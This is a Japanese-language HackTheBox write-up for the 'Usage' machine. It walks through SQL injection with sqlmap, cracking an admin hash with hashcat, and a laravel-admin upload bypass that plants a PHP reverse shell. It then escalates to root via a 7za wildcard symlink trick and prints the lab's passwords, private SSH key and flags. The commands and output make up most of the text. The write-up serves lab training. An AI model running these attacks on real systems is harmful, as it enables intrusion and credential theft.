概要
HackTheBox「Usage」のWriteupです。
User Flag
ポートスキャンを実行します。
$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.18 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_ 256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 8.9p1 |
80 | http | nginx 1.18.0 |
ホスト名が分かったので/etc/hosts
にレコードを追記します。
10.10.11.18 usage.htb
80
番ポートにアクセスするとログイン画面が表示されました。
PHP,Laravelが使用されています。
サブドメインを列挙します。
$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.usage.htb" -u http://usage.htb -o ffuf_subdomain_result -fs 178
admin [Status: 200, Size: 3304, Words: 493, Lines: 89, Duration: 271ms]
サブドメインも/etc/hosts
に追記します。
10.10.11.18 usage.htb admin.usage.htb
usage.htb
のディレクトリ列挙を行います。
$ dirsearch -u http://usage.htb --exclude-status 503
[13:46:04] 200 - 5KB - /index.php/login/
[13:46:11] 302 - 334B - /logout/ -> http://usage.htb/login
[13:46:33] 200 - 5KB - /registration/
[13:46:33] 200 - 5KB - /registration
admin.usage.htb
のディレクトリ列挙を行います。
$ dirsearch -u http://admin.usage.htb --exclude-status 503
[13:49:59] 301 - 178B - /uploads -> http://admin.usage.htb/uploads/
/forget-password
でa@a.com'
のような値を送信すると、サーバー側でSQLの処理エラーが起き、ステータスコード500が返ってきました。
SQLインジェクションの脆弱性があると分かりました。
POSTリクエストの内容をファイルに保存し、sqlmap
でデータベース情報をダンプします。
$ sqlmap -r forget_passwd_request.txt --batch --dbms=mysql --dbs -p email --level 5
(省略)
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
usage_blog
データベースを確認できました。
テーブル一覧を取得します。
$ sqlmap -r forget_passwd_request.txt --batch --dbms=mysql -p email --level 5 -D usage_blog --tables
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu |
| admin_operation_log |
| admin_permissions |
| admin_role_menu |
| admin_role_permissions |
| admin_role_users |
| admin_roles |
| admin_user_permissions |
| admin_users |
| blog |
| failed_jobs |
| migrations |
| password_reset_tokens |
| personal_access_tokens |
| users |
+------------------------+
users
テーブルが怪しいのでレコードを確認します。
$ sqlmap -r forget_passwd_request.txt --batch --dbms=mysql -p email --level 5 -D usage_blog -T admin_users --dump
Database: usage_blog
Table: admin_users
[1 entry]
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| id | name | avatar | password | username | created_at | updated_at | remember_token |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| 1 | Administrator | <blank> | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | admin | 2023-08-13 02:48:26 | 2024-08-08 13:33:56 | kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
admin
のパスワードを発見しました。
Hashcat
でパスワードのハッシュ値を解析します。
$ hashcat -a 0 -m 3200 admin_hash.txt /usr/share/wordlists/rockyou.txt
$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2:whatever1
パスワードが判明しました。
ログインフォームからログインするとダッシュボードが表示されました。
ダッシュボードの依存関係からencore/laravel-admin 1.8.18
の脆弱性を発見しました。
下記のPoC情報を基にエクスプロイトを実行します。
/admin/auth/users/1/edit
へ移動します。
PHPリバースシェルファイルの拡張子を.jpg
に変更したものを用意します。
$ ls -la
-rwxr-xr-x 1 kali kali 5515 Aug 8 10:07 php-reverse-shell.jpg
BurpのインターセプトをOnにし、Avatar
のBrowse
からリバースシェルファイルをアップロードし、Submit
ボタンでPOSTリクエストを送信します。
その際に、filename
の拡張子に.php
を追加します。
ファイルのアップロード制限をバイパスしてアップロードできました。
Netcat
でリッスンし、Download file
からURLにアクセスするとシェルを取得できました。
$ nc -vlnp 1234
listening on [any] 1234 ...
connect to [10.10.14.38] from (UNKNOWN) [10.10.11.18] 44808
Linux usage 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
14:11:50 up 2:51, 3 users, load average: 3.38, 3.25, 2.97
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1000(dash) gid=1000(dash) groups=1000(dash)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
dash
TTYを設定します。
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
/home/dash/user.txt
からユーザーフラグを入手します。
1f12409b250b116b5ee192eba9db7207
Root Flag
/home/dash/.monitrc
を確認するとパスワードを発見しました。
#Monitoring Interval in Seconds
set daemon 60
#Enable Web Access
set httpd port 2812
use address 127.0.0.1
allow admin:3nc0d3d_pa$$w0rd
(省略)
xander
アカウントへ昇格します。
su xander
password: 3nc0d3d_pa$$w0rd
xander@usage:~$
sudo -l
で確認します。
$ sudo -l
Matching Defaults entries for xander on usage:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User xander may run the following commands on usage:
(ALL : ALL) NOPASSWD: /usr/bin/usage_management
プログラム内の文字列を確認すると/usr/bin/7za
コマンドを実行しているのを発見しました。
$ strings /usr/bin/usage_management
(省略)
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
オプションで-- *
を使用している場合の脆弱性を発見しました。
rootアカウントのSSHキーファイルのシンボリックリンクを作成します。
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
/usr/bin/usage_management
を実行し、1
を選択して7zのプログラムを実行させます。
すると/root/.ssh/id_rsa
の内容を読み取れました。
$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7513 32-Core Processor (A00F11),ASM,AES-NI)
Open archive: /var/backups/project.zip
--
Path = /var/backups/project.zip
Type = zip
Physical Size = 54836099
(省略)
Scan WARNINGS for files and folders:
-----BEGIN OPENSSH PRIVATE KEY----- : No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW : No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi : No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q : No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs : No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM= : No more files
-----END OPENSSH PRIVATE KEY----- : No more files
----------------
Scan WARNINGS: 7
Kaliにファイルを保存し、rootでSSH接続します。
vi root_id_rsa
chmod 600 root_id_rsa
$ ssh -i root_id_rsa root@10.10.11.18
root@usage:~#
/root/root.txt
からルートフラグを入手できます。
6e66df093b21553dcdaec73e4be35c37